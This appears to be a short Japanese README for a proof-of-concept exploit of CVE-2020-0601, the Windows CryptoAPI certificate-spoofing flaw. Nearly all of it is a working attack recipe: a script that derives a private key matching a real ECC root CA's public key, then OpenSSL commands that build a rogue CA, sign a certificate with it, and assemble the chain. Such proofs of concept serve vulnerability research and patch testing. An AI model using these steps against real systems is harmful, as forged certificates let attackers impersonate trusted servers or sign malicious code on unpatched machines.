
CVE-2020-0601: Windows CryptoAPI のなりすまし脆弱性の悪用。詳細はブログ記事をご覧ください。
pip install -U -r requirements.txt
証明書の生成はOpenSSLバージョン1.0.2uまでで動作します。
ここではUSERTrust ECC Certification Authorityを使用しましたが、P-384曲線で動作する任意のルート証明書で構いません。
ルート証明書の公開鍵に一致する秘密鍵を生成するために、スクリプトgen-key.py(Python 3.6以上で動作)を使用しました:
$ ./gen-key.py RootCert.pem
鍵は次のように表示できます:
$ openssl ec -in p384-key-rogue.pem -text
次に、不正なCAを生成します:
$ openssl req -key p384-key-rogue.pem -new -out ca-rogue.pem -x509 -config ca.cnf -days 500
次に、以下の秘密鍵と証明書を生成します:
openssl ecparam -name prime256v1 -genkey -noout -out prime256v1-privkey.pem
openssl req -key prime256v1-privkey.pem -config openssl.cnf -new -out prime256v1.csr
openssl x509 -req -in prime256v1.csr -CA ca-rogue.pem -CAkey p384-key-rogue.pem -CAcreateserial -out client-cert.pem -days 500 -extensions v3_req -extfile openssl.cnf
最後に、完全なチェーンを1つのファイルにまとめるために、CA証明書とサーバ証明書を連結します:
cat client-cert.pem ca-rogue.pem > cert.pem